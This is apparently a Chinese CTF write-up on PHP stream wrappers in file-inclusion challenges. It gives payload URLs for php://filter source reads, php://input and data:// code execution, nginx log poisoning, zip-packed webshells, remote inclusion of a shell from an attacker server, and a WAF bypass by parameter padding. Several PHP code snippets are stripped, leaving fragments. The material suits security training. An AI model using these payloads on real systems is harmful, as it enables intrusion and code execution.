PHP-伪协议

伪协议

  • 常用场景:文件包含 ,文本包含

常用的伪协议有

  • php://filter 读取文件源码 (协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码)
  • php://input 任意代码执行;这种伪协议用于读取原始的 HTTP POST 数据,可以用于处理上传的文件和表单数据。
  • data://text/plain 任意代码执行
  • zip:// 配合文件上传开启后门

PHP-伪协议_第1张图片

";
echo "
"; echo "
"; echo "
"; echo "
"; include_once($file); ?> flag 在flag.php中

 比如上面这个: ini_set(“allow_url_include”,”on”); 就可以利用

php://filter 读取文件源码

使用文件包含函数包含文件时,文件中的代码会被执行,如果想要读取文件源码,可以使用base64对文件内容进行编码,编码后的文件内容不会被执行,而是展示在页面中,我们将页面中的内容使用base64解码,就可以获取文件的源码了

PHP-伪协议_第2张图片

例题1

以这个题为例:题目提示在flag.php当中,我们使用base64flag.php文件进行编码,可以看到页面中展示了编码后的文件内容,然后对返回结果base就行了

127.0.0.1/?file=php://filter/read=convert.base64-encode/resource=flag.php

PHP-伪协议_第3张图片

例题2

127.0.0.1:28096/?filter=php://filter/convert.base64-encode/resource=flag.php

根据提示,访问flag.php 发现是空白的?其实这两题差不多都是一样的了,这里的变量是GET ‘filter’ 传参,因此就想到了伪协议文件包含,构造payload,然后返回base在解码就行了

php://input 

php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/form-data时,php:/input将会无效

  • ?url=php://input        — GET请求参数中使用php://input协议
  •       — post请求体中的内容会被当做文件内容执行

例题1

访问是这个  看到了include函数,那我们就用,文件包含php://input这个伪协议

127.0.0.1/?url=php://input

记住这里是post传参,  

PHP-伪协议_第4张图片

它返回  ctf_go_go_go index.php, 

PHP-伪协议_第5张图片

我们构造  cat  访问这个路径,就找到了flag了 

PHP-伪协议_第6张图片

例题2 

页面和上面一样,不过进行了过滤,返回错误。看数据包的话,是nginx,因此使用日志包含

查看日志信息,发现服务器是nginx;
通过查看请求头可以知道服务器为nginx,nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log,其中access.log可以打开。
在日志包含中,找到nginx的log有两种:

......?url=/var/log/nginx/access.log
......?url=/var/log/nginx/error.log
这里:?url=/var/log/nginx/access.log可以打开

PHP-伪协议_第7张图片

进行日志注入

为了防止url编码,需要在burp中修改User-Agent

GET /?url=/var/log/nginx/access.log HTTP/1.1
Host: 4509ff3b-f6af-4f36-8e9e-3e3a1c9842a6.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 

写入,然后连接就行了;ctfshow{9dcfdfb9-02c4-4597-afd8-90074bb20784}

PHP-伪协议_第8张图片

补充 

这里网上除了日志包含,还可以用远程文件包含方法;进行内网穿透,将端口映射到本地的80端口上,打开自己电脑上的服务器,将一句话文件写入,直接连接。相应的平台可参考 natapp;ngrok;蜻蜓映射

大概就是,当然如果你有自己的服务器的话也可以,在当中编写一句话(服务器已启动http协议,然后构造如下参数,就可以和上面一样愉快的连接拉

http://127.0.0.1/?url=http://xxx.xxx.xxx.xxx/shell.php

data://

协议格式: data:资源类型;编码,内容

data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行

?url=data://text/plain,

实操

  //这里是构造成功的flag:NSSCTF{30590d16-19a2-454a-91d2-86c6e02ead2d}

这段 PHP 代码的作用是:接收一个名为 “cxk” 的 GET 参数,读取该参数指定的文件内容并与字符串 “ctrl” 进行比较。如果相等,则输出 $flag 的值;否则输出 “洗洗睡吧”。如果没有传递 “cxk” 参数,则输出 “nononoononoonono”。

根据代码审计以及file_get_contents读取文件内容函数我们可以知道我们需要传入一个文件,里面的内容是”CTRL“(苏珊)那我们就要利用data://伪协议

直接传入‘ctrl’不行,可能是过滤了,只能用base64加密传入,然后就可以了

127.0.0.1:28234/orzorz.php?cxk=data://text/plain;base64,Y3RybA==

ZIP://

zip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell

shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马

?url=zip://shell.jpg

实操

  • 这一题涉及三种伪协议,因此单独列了出来

读取文件源码

打开根据提示,”hint is hear Can you find out the hint.php?“让我们找到”hint.php”.首先想到了构造php://filter 读取文件源码,那我们就可以用第一个获取flag方式把他换成hint.php不就可以了吗

?url=php://filter/read=convert.base64-encode/resource=hint.php

PHP-伪协议_第9张图片

返回base解码得到一个提示,然后我们访问 :test2222222222222.php 

PHP-伪协议_第10张图片

接下来有两种解题方案

①和②都可以;这里连接的时候要用&a连接,别像我刚开始用”/“,

①任意代码执行php://input 

这里第一种构造用php://input  代码的意思$a是如果读取的内容等于字符串 “I want flag“,则输出 “success” 和一个名为 $flag 的变量的值

http://node2.anna.nssctf.cn:28656/index.php?wllm=test2222222222222.php&a=php://input

PHP-伪协议_第11张图片

②任意代码执行data://

data:// 是一种伪协议,用于表示将数据内联嵌入到 URL 中。data:// 协议后面跟着标识数据格式的 MIME 类型和编码方式,可以将文本、图片、音频等数据编码为 Base64 格式,并直接嵌入到 URL 中。

data://本身是数据流封装器,其原理和用法跟php://input类似,但是是发送GET请求参数   &

url/test2222222222222.php&a=data://text/plain,I want flag

PHP-伪协议_第12张图片

[NSSRound#8 Basic]MyDoor 

题目描述“一个普通的后门”,空白的没东西?

127.0.0.1:28380/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

file=伪协议?传一下看看base解码

PHP-伪协议_第13张图片

发现可以执行命令,因为php的特性如果执行给N_S.S传参,那么N_S.S在后端会被规范成N_S_S  用N[S.S 传参,访问 phpinfo()

127.0.0.1:28380/?N[S.S=phpinfo();

PHP-伪协议_第14张图片

 [鹏城杯 2022]简单包含

打开用POST  ,构造伪协议,上传然后有waf,该怎末绕过呢?我看大佬们使用长语句绕过

PHP-伪协议_第15张图片

1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&flag=php://filter/read=convert.base64-encode/resource=flag.php

PHP-伪协议_第16张图片

或者用bp都一样,在解码就行了

PHP-伪协议_第17张图片

你可能感兴趣的:(开发语言,PHP,伪协议,php,开发语言)